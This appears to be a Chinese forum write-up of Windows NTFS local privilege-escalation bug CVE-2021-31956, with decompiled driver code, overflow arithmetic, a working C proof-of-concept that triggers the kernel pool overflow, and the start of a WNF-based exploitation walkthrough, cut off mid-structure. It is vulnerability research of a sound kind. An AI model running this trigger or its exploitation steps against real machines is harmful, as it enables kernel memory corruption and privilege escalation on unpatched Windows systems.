首页
社区
课程
招聘
[原创]Windows NTFS本地提权漏洞 CVE-2021-31956
2023-6-28 18:05 10033

[原创]Windows NTFS本地提权漏洞 CVE-2021-31956

2023-6-28 18:05
10033

参考链接:
https://research.nccgroup.com/2021/07/15/cve-2021-31956-exploiting-the-windows-kernel-ntfs-with-wnf-part-1/
https://research.nccgroup.com/2021/08/17/cve-2021-31956-exploiting-the-windows-kernel-ntfs-with-wnf-part-2/
https://paper.seebug.org/1743
使用PipeAttribution构造任意地址读后,修改_WNF_NAME_INSTANCE结构体内的指针_WNF_STATE_DATA实现任意地址写
https://dawnslab.jd.com/CVE-2021-31956/
https://github.com/hzshang/CVE-2021-31956
使用使用NtQueryWnfStateData和NtUpDateWnfStateData API来造成任意地址的读写(需要构造AllocateSize和DataSize成员)
https://bbs.kanxue.com/thread-271140.htm
https://github.com/aazhuliang/CVE-2021-31956-EXP

漏洞在windows的NTFS文件系统驱动上(C:\Windows\System32\drivers\ntfs.sys)的NtfsQueryEaUserEaList函数中
NTFS文件系统允许为每一个文件额外存储若干个键值对属性,称之为EA(Extend Attribution) 。可以通过ZwSetEaFile为文件创建EA,ZwQueryEaFile查询文件EA

1
2
3
4
5
6
7
8
9
10
11
12
13
typedef struct _FILE_GET_EA_INFORMATION {
  ULONG NextEntryOffset;
  UCHAR EaNameLength;
  CHAR  EaName[1];
} FILE_GET_EA_INFORMATION, *PFILE_GET_EA_INFORMATION;
 
typedef struct _FILE_FULL_EA_INFORMATION {
  ULONG  NextEntryOffset;
  UCHAR  Flags;
  UCHAR  EaNameLength;
  USHORT EaValueLength;
  CHAR   EaName[1];
} FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION;

漏洞成因

泄露的NT5.1中有NtfsQueryEaUserEaList的源码

NT5.1泄露的源码

https://github.com/0x5bfa/NT5.1/blob/master/Source/XPSP1/NT/base/fs/ntfs/ea.c#L1461

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
IO_STATUS_BLOCK
NtfsQueryEaUserEaList(
    IN PFILE_FULL_EA_INFORMATION CurrentEas,
    IN PEA_INFORMATION EaInformation,
    OUT PFILE_FULL_EA_INFORMATION EaBuffer,
    IN ULONG UserBufferLength,
    IN PFILE_GET_EA_INFORMATION UserEaList,
    IN BOOLEAN ReturnSingleEntry
)
 
/*++
 
Routine Description:
 
    This routine is the work routine for querying EAs given a list
    of Ea's to search for.
 
Arguments:
 
    CurrentEas - This is a pointer to the current Eas for the file
 
    EaInformation - This is a pointer to an Ea information attribute.
 
    EaBuffer - Supplies the buffer to receive the full eas
 
    UserBufferLength - Supplies the length, in bytes, of the user buffer
 
    UserEaList - Supplies the user specified ea name list
 
    ReturnSingleEntry - Indicates if we are to return a single entry or not
 
Return Value:
 
    IO_STATUS_BLOCK - Receives the completion status for the operation
 
--*/
 
{
    IO_STATUS_BLOCK Iosb;
 
    ULONG GeaOffset;
    ULONG FeaOffset;
    ULONG Offset;
 
    PFILE_FULL_EA_INFORMATION LastFullEa;
    PFILE_FULL_EA_INFORMATION NextFullEa;
 
    PFILE_GET_EA_INFORMATION GetEa;
 
    BOOLEAN Overflow;
    ULONG PrevEaPadding;
 
    PAGED_CODE();
 
    DebugTrace(+1, Dbg, ("NtfsQueryEaUserEaList:  Entered\n"));
 
    //
    //  Setup pointer in the output buffer so we can track the Ea being
    //  written to it and the last Ea written.
    //
 
    LastFullEa = NULL;
 
    Overflow = FALSE;
 
    //
    //  Initialize our next offset value.
    //
 
    GeaOffset = 0;
    Offset = 0;
    PrevEaPadding = 0;
 
    //
    //  Loop through all the entries in the user's ea list.
    //
 
    while (TRUE) {
 
        STRING GeaName;
        STRING OutputEaName;
        ULONG RawEaSize;
 
        //
        //  Get the next entry in the user's list.
        //
 
        GetEa = (PFILE_GET_EA_INFORMATION)Add2Ptr(UserEaList, GeaOffset);
 
        //
        //  Make a string reference to the name and see if we can locate
        //  the ea by name.
        //
 
        GeaName.MaximumLength = GeaName.Length = GetEa->EaNameLength;
        GeaName.Buffer = &GetEa->EaName[0];
 
        //
        //  Upcase the name so we can do a case-insensitive compare.
        //
 
        NtfsUpcaseEaName(&GeaName, &GeaName);
 
        //
        //  Check for a valid name.
        //
 
        if (!NtfsIsEaNameValid(GeaName)) {
 
            DebugTrace(-1, Dbg, ("NtfsQueryEaUserEaList:  Invalid Ea Name\n"));
 
            Iosb.Information = GeaOffset;
            Iosb.Status = STATUS_INVALID_EA_NAME;
            return Iosb;
        }
 
        GeaOffset += GetEa->NextEntryOffset;
 
        //
        //  If this is a duplicate name, then step over this entry.
        //
 
        if (NtfsIsDuplicateGeaName(GetEa, UserEaList)) {
 
            //
            //  If we've exhausted the entries in the Get Ea list, then we are
            //  done.
            //
 
            if (GetEa->NextEntryOffset == 0) {
                break;
            }
            else {
                continue;
            }
        }
 
        //
        //  Generate a pointer in the Ea buffer.
        //
 
        NextFullEa = (PFILE_FULL_EA_INFORMATION)Add2Ptr(EaBuffer, Offset + PrevEaPadding);
 
        //
        //  Try to find a matching Ea.
        //  If we couldn't, let's dummy up an Ea to give to the user.
        //
 
        if (!NtfsLocateEaByName(CurrentEas,
            EaInformation->UnpackedEaSize,
            &GeaName,
            &FeaOffset)) {
 
            //
            //  We were not able to locate the name therefore we must
            //  dummy up a entry for the query.  The needed Ea size is
            //  the size of the name + 4 (next entry offset) + 1 (flags)
            //  + 1 (name length) + 2 (value length) + the name length +
            //  1 (null byte).
            //
 
            RawEaSize = 4 + 1 + 1 + 2 + GetEa->EaNameLength + 1;
 
            if ((RawEaSize + PrevEaPadding) > UserBufferLength) {
 
                Overflow = TRUE;
                break;
            }
 
            //
            //  Everything is going to work fine, so copy over the name,
            //  set the name length and zero out the rest of the ea.
            //
 
            NextFullEa->NextEntryOffset = 0;
            NextFullEa->Flags = 0;
            NextFullEa->EaNameLength = GetEa->EaNameLength;
            NextFullEa->EaValueLength = 0;
            RtlCopyMemory(&NextFullEa->EaName[0],
                &GetEa->EaName[0],
                GetEa->EaNameLength);
 
            //
            //  Upcase the name in the buffer.
            //
 
            OutputEaName.MaximumLength = OutputEaName.Length = GeaName.Length;
            OutputEaName.Buffer = NextFullEa->EaName;
 
            NtfsUpcaseEaName(&OutputEaName, &OutputEaName);
 
            NextFullEa->EaName[GetEa->EaNameLength] = 0;
 
            //
            //  Otherwise return the Ea we found back to the user.
            //
 
        }
        else {
 
            PFILE_FULL_EA_INFORMATION ThisEa;
 
            //
            //  Reference this ea.
            //
 
            ThisEa = (PFILE_FULL_EA_INFORMATION)Add2Ptr(CurrentEas, FeaOffset);
 
            //
            //  Check if this Ea can fit in the user's buffer.
            //
 
            RawEaSize = RawUnpackedEaSize(ThisEa);
 
            if (RawEaSize > (UserBufferLength - PrevEaPadding)) {
 
                Overflow = TRUE;
                break;
            }
 
            //
            //  Copy this ea to the user's buffer.
            //
 
            RtlCopyMemory(NextFullEa,
                ThisEa,
                RawEaSize);
 
            NextFullEa->NextEntryOffset = 0;
        }
 
        //
        //  Compute the next offset in the user's buffer.
        //
 
        Offset += (RawEaSize + PrevEaPadding);
 
        //
        //  If we were to return a single entry then break out of our loop
        //  now
        //
 
        if (ReturnSingleEntry) {
 
            break;
        }
 
        //
        //  If we have a new Ea entry, go back and update the offset field
        //  of the previous Ea entry.
        //
 
        if (LastFullEa != NULL) {
 
            LastFullEa->NextEntryOffset = PtrOffset(LastFullEa, NextFullEa);
        }
 
        //
        //  If we've exhausted the entries in the Get Ea list, then we are
        //  done.
        //
 
        if (GetEa->NextEntryOffset == 0) {
 
            break;
        }
 
        //
        //  Remember this as the previous ea value.  Also update the buffer
        //  length values and the buffer offset values.
        //
 
        LastFullEa = NextFullEa;
        UserBufferLength -= (RawEaSize + PrevEaPadding);
 
        //
        //  Now remember the padding bytes needed for this call.
        //
 
        PrevEaPadding = LongAlign(RawEaSize) - RawEaSize;
    }
 
    //
    //  If the Ea information won't fit in the user's buffer, then return
    //  an overflow status.
    //
 
    if (Overflow) {
 
        Iosb.Information = 0;
        Iosb.Status = STATUS_BUFFER_OVERFLOW;
 
        //
        //  Otherwise return the length of the data returned.
        //
 
    }
    else {
 
        //
        //  Return the length of the buffer filled and a success
        //  status.
        //
 
        Iosb.Information = Offset;
        Iosb.Status = STATUS_SUCCESS;
    }
 
    DebugTrace(0, Dbg, ("Status        -> %08lx\n", Iosb.Status));
    DebugTrace(0, Dbg, ("Information   -> %08lx\n", Iosb.Information));
    DebugTrace(-1, Dbg, ("NtfsQueryEaUserEaList:  Exit\n"));
 
    return Iosb;
}

Ntfs IDA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
_QWORD *__fastcall NtfsQueryEaUserEaList(_QWORD *a1, _FILE_FULL_EA_INFORMATION *ea_blocks_for_file, __int64 out_buf, __int64 a4, unsigned int out_buf_length, _FILE_GET_EA_INFORMATION *eaList, char a7)
{
  int v8; // edi
  unsigned int v9; // ebx
  unsigned int padding; // er15
  _FILE_GET_EA_INFORMATION *GetEa; // r12
  ULONG v12; // er14
  unsigned __int8 v13; // r13
  _FILE_GET_EA_INFORMATION *curEaList; // rbx
  unsigned int v15; // ebx
  _DWORD *v16; // r13
  unsigned int ea_block_size; // er14
  unsigned int v18; // ebx
  _FILE_FULL_EA_INFORMATION *ea_block; // rdx
  char v21; // al
  ULONG v22; // [rsp+20h] [rbp-38h]
  unsigned int v23; // [rsp+24h] [rbp-34h] BYREF
  _DWORD *v24; // [rsp+28h] [rbp-30h]
  struct _STRING DestinationString; // [rsp+30h] [rbp-28h] BYREF
  STRING SourceString; // [rsp+40h] [rbp-18h] BYREF
  unsigned int offest; // [rsp+A0h] [rbp+48h]
 
  v8 = 0;
  *a1 = 0i64;
  v24 = 0i64;
  v9 = 0;
  offest = 0;
  padding = 0;
  a1[1] = 0i64;
  while ( 1 )
  {                                             // 索引ealist中的成员,用作下面的查找。
    GetEa = (_FILE_GET_EA_INFORMATION *)((char *)eaList + v9);
    *(_QWORD *)&DestinationString.Length = 0i64;
    DestinationString.Buffer = 0i64;
    *(_QWORD *)&SourceString.Length = 0i64;
    SourceString.Buffer = 0i64;
    *(_QWORD *)&DestinationString.Length = GetEa->EaNameLength;
    DestinationString.MaximumLength = DestinationString.Length;
    DestinationString.Buffer = GetEa->EaName;
    RtlUpperString(&DestinationString, &DestinationString);
    if ( !(unsigned __int8)NtfsIsEaNameValid(&DestinationString) )// 检查ealist中成员的name是否有效
      break;
    v12 = GetEa->NextEntryOffset;
    v13 = GetEa->EaNameLength;
    v22 = GetEa->NextEntryOffset + v9;
    for ( curEaList = eaList; ; curEaList = (_FILE_GET_EA_INFORMATION *)((char *)curEaList + curEaList->NextEntryOffset) )// 遍历查询的EaList
    {
      if ( curEaList == GetEa )
      {
        v15 = offest;
        v16 = (_DWORD *)(a4 + padding + offest);
        if ( (unsigned __int8)NtfsLocateEaByName(// 根据name查找对应的Ea信息
                                ea_blocks_for_file,
                                *(unsigned int *)(out_buf + 4),
                                &DestinationString,
                                &v23) )
        {
          ea_block = (_FILE_FULL_EA_INFORMATION *)((char *)ea_blocks_for_file + v23);
          ea_block_size = ea_block->EaValueLength + ea_block->EaNameLength + 9;// 计算内存拷贝大小
          if ( ea_block_size <= out_buf_length - padding )// 防溢出检查
                                                // 两个uint32相减以后发生整数溢出绕过检查
          {
            memmove(v16, ea_block, ea_block_size);// 溢出点
            *v16 = 0;
            goto LABEL_8;
          }
        }
        else
        {
          ea_block_size = GetEa->EaNameLength + 9;// 9=4(next entry offset)+1(flags)+1(name length)+2(value length)+1(null byte)
          if ( ea_block_size + padding <= out_buf_length )
          {
            *v16 = 0;
            *((_BYTE *)v16 + 4) = 0;
            *((_BYTE *)v16 + 5) = GetEa->EaNameLength;
            *((_WORD *)v16 + 3) = 0;
            memmove(v16 + 2, GetEa->EaName, GetEa->EaNameLength);
            SourceString.Length = DestinationString.Length;
            SourceString.MaximumLength = DestinationString.Length;
            SourceString.Buffer = (PCHAR)(v16 + 2);
            RtlUpperString(&SourceString, &SourceString);
            v15 = offest;
            *((_BYTE *)v16 + GetEa->EaNameLength + 8) = 0;
LABEL_8:
            v18 = ea_block_size + padding + v15;
            offest = v18;
            if ( !a7 )
            {
              if ( v24 )
                *v24 = (_DWORD)v16 - (_DWORD)v24;
              if ( GetEa->NextEntryOffset )     // 判断是ealist中是否还有其他成员
              {
                v24 = v16;
                out_buf_length -= ea_block_size + padding;// 总长度减去已经拷贝的长度
                padding = ((ea_block_size + 3) & 0xFFFFFFFC) - ea_block_size;// padding的计算
                goto LABEL_26;
              }
            }
LABEL_12:
            a1[1] = v18;
LABEL_13:
            *(_DWORD *)a1 = v8;
            return a1;
          }
        }
        v21 = NtfsStatusDebugFlags;
        a1[1] = 0i64;
        if ( v21 )
          NtfsStatusTraceAndDebugInternal(0i64, 2147483653i64, 919406i64);
        v8 = -2147483643;
        goto LABEL_13;
      }
      if ( v13 == curEaList->EaNameLength && !memcmp(GetEa->EaName, curEaList->EaName, v13) )
        break;
    }
    if ( !v12 )
    {
      v18 = offest;
      goto LABEL_12;
    }
LABEL_26:
    v9 = v22;
  }
  a1[1] = v9;
  if ( NtfsStatusDebugFlags )
    NtfsStatusTraceAndDebugInternal(0i64, 2147483667i64, 919230i64);
  *(_DWORD *)a1 = -2147483629;
  return a1;
}

NtfsQueryEaUserEaList从 循环遍历文件的每个 NTFS 扩展属性 (Ea),并根据ea_block->EaValueLength + ea_block->EaNameLength + 9的大小从 Ea 块复制到输出缓冲区。
有一个检查确保ea_block_size小于或等于out_buf_length - padding。然后,out_buf_length会减去ea_block_size及其填充的大小。填充是通过((ea_block_size + 3) 0xFFFFFFFC) - ea_block_size来计算的。因为每个EA块应该填充为32位对齐。
假设文件的扩展属性中有两个扩展属性

正常情况下:

第一次迭代

1
2
3
4
5
EaNameLength = 5
EaValueLength = 4
 
ea_block_size = 9 + 5 + 4 = 18
padding = 0

因此18 < out_buf_length - 0,数据将被复制到缓冲区中
第二次迭代

1
2
3
4
5
out_buf_length = 30 - 18 + 0
out_buf_length = 12 // we would have 12 bytes left of the output buffer.
 
padding = ((18+3)   0xFFFFFFFC) - 18
padding = 2

在文件中添加一个具有相同值的第二个扩展属性。

1
2
3
4
5
EaNameLength = 5
EaValueLength = 4
 
ea_block_size = 9 + 5 + 4 = 18
18 <= 12 - 2 // is False.

由于缓冲区太小,第二次内存复制将不会发生。

整数溢出

1
2
3
4
5
6
7
第一个扩展属性:
EaNameLength = 5
EaValueLength = 4
 
第二个扩展属性:
EaNameLength = 5
EaValueLength = 47

第一次迭代

1
2
3
4
5
EaNameLength = 5
EaValueLength = 4
 
ea_block_size = 9 + 5 + 4 // 18
padding = 0

检查结果为:
18 <= 18 - 0 // is True and a copy of 18 occurs.
第二个扩展属性具有以下值:

1
2
3
4
5
EaNameLength = 5
EaValueLength = 47
 
ea_block_size = 5 + 47 + 9
ea_block_size = 137

结果检查将是:
ea_block_size <= out_buf_length - padding
137 <= 0 - 2
发生下溢,137 个字节将被复制到缓冲区末尾,从而损坏相邻内存。
查看NtfsQueryEaUserEaList函数的调用者NtfsCommonQueryEa,我们可以看到输出缓冲区是根据请求的大小在分页池上分配的
图片描述
NtfsCommonQueryEa函数可通过ZwQueryEaFIle函数调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// 为文件创建EA
NTSTATUS ZwSetEaFile(
  [in]  HANDLE           FileHandle,
  [out] PIO_STATUS_BLOCK IoStatusBlock,
  [in]  PVOID            Buffer,
  [in]  ULONG            Length
);
// 查询文件EA
NTSTATUS ZwQueryEaFile(
  [in]           HANDLE           FileHandle, //文件句柄
  [out]          PIO_STATUS_BLOCK IoStatusBlock,
  [out]          PVOID            Buffer, //扩展属性缓冲区(FILE_FULL_EA_INFORMATION结构)
  [in]           ULONG            Length, //缓冲区大小
  [in]           BOOLEAN          ReturnSingleEntry,
  [in, optional] PVOID            EaList, //指定需要查询的扩展属性
  [in]           ULONG            EaListLength,
  [in, optional] PULONG           EaIndex, //指定需要查询的起始索引
  [in]           BOOLEAN          RestartScan
);

可以看到输出缓冲区Buffer以及该缓冲区的长度都是从用户空间传入的。这意味着我们根据缓冲区的大小控制内核空间的内存分配。
该漏洞对攻击者来说:
溢出拷贝时数据和大小均可控。
可以覆盖下一个内核池块
内核池分配时大小可控,并且可以进行堆布局。

触发漏洞

Windows10引入了新的方式进行堆块管理,称为Segment Heap,具体可看以下论文
https://www.sstic.org/media/SSTIC2020/SSTIC-actes/pool_overflow_exploitation_since_windows_10_19h1/SSTIC2020-Article-pool_overflow_exploitation_since_windows_10_19h1-bayet_fariello.pdf
EXP:https://github.com/aazhuliang/CVE-2021-31956-EXP

仿照EXP改的可以触发溢出的POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
#include <iostream>
#include <Windows.h>
#include <sddl.h>
 
#define PAYLOAD_SIZE 1000
#define TIGGER_EA_NAME ".PA"
#define OVER_EA_NAME ".PBB"
#define TIGGER_EA_NAME_LENGTH (UCHAR)(strlen(TIGGER_EA_NAME))
#define OVER_EA_NAME_LENGTH (UCHAR)(strlen(OVER_EA_NAME))
#define OVER_STATEDATA_LENGTH 0x1000
#define OVER_EA_VALUE_LENGTH (0xf)
#define KERNAL_ALLOC_SIZE 0xae
 
#define FRIST_RAWSIZE ((KERNAL_ALLOC_SIZE) - (1))
#define TIGGER_EA_VALUE_LENGTH ((FRIST_RAWSIZE) - (TIGGER_EA_NAME_LENGTH) -(9))
typedef struct _IO_STATUS_BLOCK {
    union {
        NTSTATUS Status;
        PVOID    Pointer;
    };
    ULONG_PTR Information;
} IO_STATUS_BLOCK, * PIO_STATUS_BLOCK;
 
typedef NTSTATUS(NTAPI* __ZwQueryEaFile)(
    HANDLE           FileHandle,
    PIO_STATUS_BLOCK IoStatusBlock,
    PVOID            Buffer,
    ULONG            Length,
    BOOLEAN          ReturnSingleEntry,
    PVOID            EaList,
    ULONG            EaListLength,
    PULONG           EaIndex,
    BOOLEAN          RestartScan
    );
 
typedef NTSTATUS(NTAPI* __ZwSetEaFile)(
    HANDLE           FileHandle,
    PIO_STATUS_BLOCK IoStatusBlock,
    PVOID            Buffer,
    ULONG            Length
    );
 
typedef struct _FILE_FULL_EA_INFORMATION {
    ULONG  NextEntryOffset;
    UCHAR  Flags;
    UCHAR  EaNameLength;
    USHORT EaValueLength;
    CHAR   EaName[1];
} FILE_FULL_EA_INFORMATION, * PFILE_FULL_EA_INFORMATION;
 
typedef struct _FILE_GET_EA_INFORMATION {
    ULONG NextEntryOffset;
    UCHAR EaNameLength;
    CHAR  EaName[1];
} FILE_GET_EA_INFORMATION, * PFILE_GET_EA_INFORMATION;
 
__ZwQueryEaFile NtQueryEaFile = NULL;
__ZwSetEaFile  NtSetEaFile = NULL;
 
UINT64 OVER_STATENAME = 0;
 
int main()
{
    HMODULE hNtDll = NULL;
    hNtDll = LoadLibrary(L"ntdll.dll");
    if (hNtDll == NULL)
    {
        printf("load ntdll failed!\r\n");
        return 0;
    }
    NtQueryEaFile = (__ZwQueryEaFile)GetProcAddress(hNtDll, "NtQueryEaFile");
    NtSetEaFile = (__ZwSetEaFile)GetProcAddress(hNtDll, "ZwSetEaFile");
 
    if (NtQueryEaFile == NULL ||
        NtSetEaFile == NULL
)
    {
        printf("not found  functions\r\n");
        return 0;
    }
 
    PFILE_GET_EA_INFORMATION EaList = NULL;
    PFILE_GET_EA_INFORMATION EaListCP = NULL;
    PVOID eaData = NULL;
    DWORD dwNumberOfBytesWritten = 0;
    UCHAR payLoad[PAYLOAD_SIZE] = { 0 };
    PFILE_FULL_EA_INFORMATION curEa = NULL;
    HANDLE hFile = INVALID_HANDLE_VALUE;
    IO_STATUS_BLOCK eaStatus = { 0 };
    NTSTATUS rc;
    PISECURITY_DESCRIPTOR pSecurity = NULL;
    PUCHAR pd = NULL;
 
    int state = -1;
 
    hFile = CreateFileA("payload",
        GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL,
        CREATE_ALWAYS,
        FILE_ATTRIBUTE_NORMAL,
        NULL);
 
    if (hFile == INVALID_HANDLE_VALUE)
    {
        printf("create the file failed\r\n");
        goto ERROR_HANDLE;
    }
 
 
    WriteFile(hFile, "This files has an optional .COMMENTS EA\n",
        strlen("This files has an optional .COMMENTS EA\n"),
        &dwNumberOfBytesWritten, NULL);
 
    curEa = (PFILE_FULL_EA_INFORMATION)payLoad;
 
    curEa->Flags = 0;
 
    curEa->EaNameLength = TIGGER_EA_NAME_LENGTH;
    curEa->EaValueLength = TIGGER_EA_VALUE_LENGTH;
    //align 4
    curEa->NextEntryOffset = (curEa->EaNameLength + curEa->EaValueLength + 3 + 9) & (~3);
    memcpy(curEa->EaName, TIGGER_EA_NAME, TIGGER_EA_NAME_LENGTH);
    RtlFillMemory(curEa->EaName + curEa->EaNameLength + 1, TIGGER_EA_VALUE_LENGTH, 'A');
 
    curEa = (PFILE_FULL_EA_INFORMATION)((PUCHAR)curEa + curEa->NextEntryOffset);
    curEa->NextEntryOffset = 0;
    curEa->Flags = 0;
 
    curEa->EaNameLength = OVER_EA_NAME_LENGTH;
    curEa->EaValueLength = OVER_EA_VALUE_LENGTH;
    memcpy(curEa->EaName, OVER_EA_NAME, OVER_EA_NAME_LENGTH);
    RtlFillMemory(curEa->EaName + curEa->EaNameLength + 1, OVER_EA_VALUE_LENGTH, 0);
    pd = (PUCHAR)(curEa);
 
    rc = NtSetEaFile(hFile, &eaStatus, payLoad, sizeof(payLoad));
 
    if (rc != 0)
    {
        printf("NtSetEaFile failed error code is %x\r\n", rc);
        goto ERROR_HANDLE;
 
    }
    eaData = malloc(sizeof(payLoad));
    if (eaData == NULL)
    {
        goto ERROR_HANDLE;
    }
 
 
    memset(eaData, 0, sizeof(payLoad));
 
    EaList = (PFILE_GET_EA_INFORMATION)malloc(100);
    if (EaList == NULL)
    {
        goto ERROR_HANDLE;
    }
    EaListCP = EaList;
    memset(EaList, 0, 100);
 
    memcpy(EaList->EaName, ".PA", strlen(".PA"));
    EaList->EaNameLength = (UCHAR)strlen(".PA");
    EaList->NextEntryOffset = 12; // align 4
 
    EaList = (PFILE_GET_EA_INFORMATION)((PUCHAR)EaList + 12);
    memcpy(EaList->EaName, ".PBB", strlen(".PBB"));
    EaList->EaNameLength = (UCHAR)strlen(".PBB");
    EaList->NextEntryOffset = 0;
 
    rc = NtQueryEaFile(hFile, &eaStatus, eaData, KERNAL_ALLOC_SIZE, FALSE, EaListCP, 100, 0, TRUE);
 
 
    state = 0;
 
 
ERROR_HANDLE:
    if (hFile != INVALID_HANDLE_VALUE)
    {
        CloseHandle(hFile);
        hFile = INVALID_HANDLE_VALUE;
    }
    if (EaList != NULL)
    {
        free(EaListCP);
        EaList = NULL;
    }
 
    if (eaData != NULL)
    {
        free(eaData);
        eaData = NULL;
    }
 
    if (pSecurity != NULL)
    {
        free(pSecurity);
        pSecurity = NULL;
    }
     
    return 0;
}
1
2
3
4
bu ntdll!NtQueryEaFile
bu Ntfs!NtfsQueryEaUserEaList
bu Ntfs!NtfsQueryEaUserEaList+0x19f
bu Ntfs!NtfsQueryEaUserEaList+0x1b2

图片描述
可以看到整数下溢

漏洞利用

Windows10引入了新的方式进行堆块管理,称为Segment Heap
详见:https://www.sstic.org/media/SSTIC2020/SSTIC-actes/pool_overflow_exploitation_since_windows_10_19h1/SSTIC2020-Article-pool_overflow_exploitation_since_windows_10_19h1-bayet_fariello.pdf
中文翻译:https://paper.seebug.org/1743

POOL_HEADER

POOL_HEADER 在池中,适合单个页面的所有块都以POOL_HEADER结构开头,POOL_HEADER包含分配器所需信息和Tag信息。当试图在Windows内核中利用堆溢出漏洞时,首先要覆盖的就是POOL_HEADER结构。攻击者有两个选择:重写一个正确的POOL_HEADER结构,并用来攻击下一个块的数据,或者直接攻击POOL_HEADER结构。

1
2
3
4
5
6
7
8
9
struct POOL_HEADER
{
    char PreviousSize;    //之前的块的大小除以16
    char PoolIndex;        //PoolDescriptor数组中的索引
    char BlockSize;        //当前分配的大小除以16
    char PoolType;        //包含分配类型信息的位域
    int PoolTag;
    Ptr64 ProcessBilled ;    //指向分配内存的进程的KPROCESS的指针,只有PoolType中包含PoolQuota标志时,才设置此字段。
};

PoolType是一个位域,存储若干信息:
使用的内存类型,可以是NonPagedPool、PagedPool、SessionPool或NonPagedPoolNx;
如果分配是关键的(bit 1)并且必须成功。那么当分配失败,就会触发BugCheck;
如果分配与缓存大小对齐(bit 2)
如果分配使用了PoolQuota机制(bit 3)
其他未文档化的机制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
NonPagedPool = 0
PagedPool = 1
NonPagedPoolMustSucceed = 2
DontUseThisType = 3
NonPagedPoolCacheAligned = 4
PagedPoolCacheAligned = 5
NonPagedPoolCacheAlignedMustSucceed = 6
MaxPoolType = 7
PoolQuota = 8
NonPagedPoolSession = 20h
PagedPoolSession = 21h
NonPagedPoolMustSucceedSession = 22h
DontUseThisTypeSession = 23h
NonPagedPoolCacheAlignedSession = 24h
PagedPoolCacheAlignedSession = 25h
NonPagedPoolCacheAlignedMustSSession = 26h
NonPagedPoolNx = 200h
NonPagedPoolNxCacheAligned = 204h
NonPagedPoolSessionNx = 220h

相对偏移地址读写

WNF

WNF Windows Notification Facitily 是 Windows 中的一个通知系统。应用程序可以订阅特定类型的事件(StateName标识),在每次状态更改时可以进行通知。
WNF 利用相关文章
https://docplayer.net/145030841-The-windows-notification-facility.html
https://blog.quarkslab.com/playing-with-the-windows-notification-facility-wnf.html
结构体_WNF_STATE_DATA大可以由用户自定义

1
2
3
4
5
6
7
struct _WNF_STATE_DATA
{
    struct _WNF_NODE_HEADER Header;//0x0
    ULONG AllocatedSize;//0x4 // 分配的内核池大小
    ULONG DataSize;//0x8 // 当前数据大小
    ULONG ChangeStamp;//0xc
};

用户可以通过NtCreateWnfStateName创建一个WNF对象实例,实例的数据结构为_WNF_NAME_INSTANCE;WNF对象大小为0xb8(WNF_NAME_INSTANCE + POOL_HEADER )

1
2
3
4
5
6
7
8
9
typedef NTSTATUS  (NTAPI * __NtCreateWnfStateName)(
    _Out_ PWNF_STATE_NAME StateName,
    _In_ WNF_STATE_NAME_LIFETIME NameLifetime,
    _In_ WNF_DATA_SCOPE DataScope,
    _In_ BOOLEAN PersistData,
    _In_opt_ PCWNF_TYPE_ID TypeId,
    _In_ ULONG MaximumStateSize,
    _In_ PSECURITY_DESCRIPTOR SecurityDescriptor
);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
struct _WNF_NAME_INSTANCE
{
    struct _WNF_NODE_HEADER Header;//0x0
    struct _EX_RUNDOWN_REF RunRef;//0x8
    struct _RTL_BALANCED_NODE TreeLinks;//0x10
    struct _WNF_STATE_NAME_STRUCT StateName;//0x28
    struct _WNF_SCOPE_INSTANCE* ScopeInstance;//0x30
    struct _WNF_STATE_NAME_REGISTRATION StateNameInfo;//0x38
    struct _WNF_LOCK StateDataLock;//0x50
    struct _WNF_STATE_DATA* StateData;//0x58
    ULONG CurrentChangeStamp;//0x60
    VOID* PermanentDataStore;//0x68
    struct _WNF_LOCK StateSubscriptionListLock;//0x70
    struct _LIST_ENTRY StateSubscriptionListHead;//0x78
    struct _LIST_ENTRY TemporaryNameListEntry;//0x88
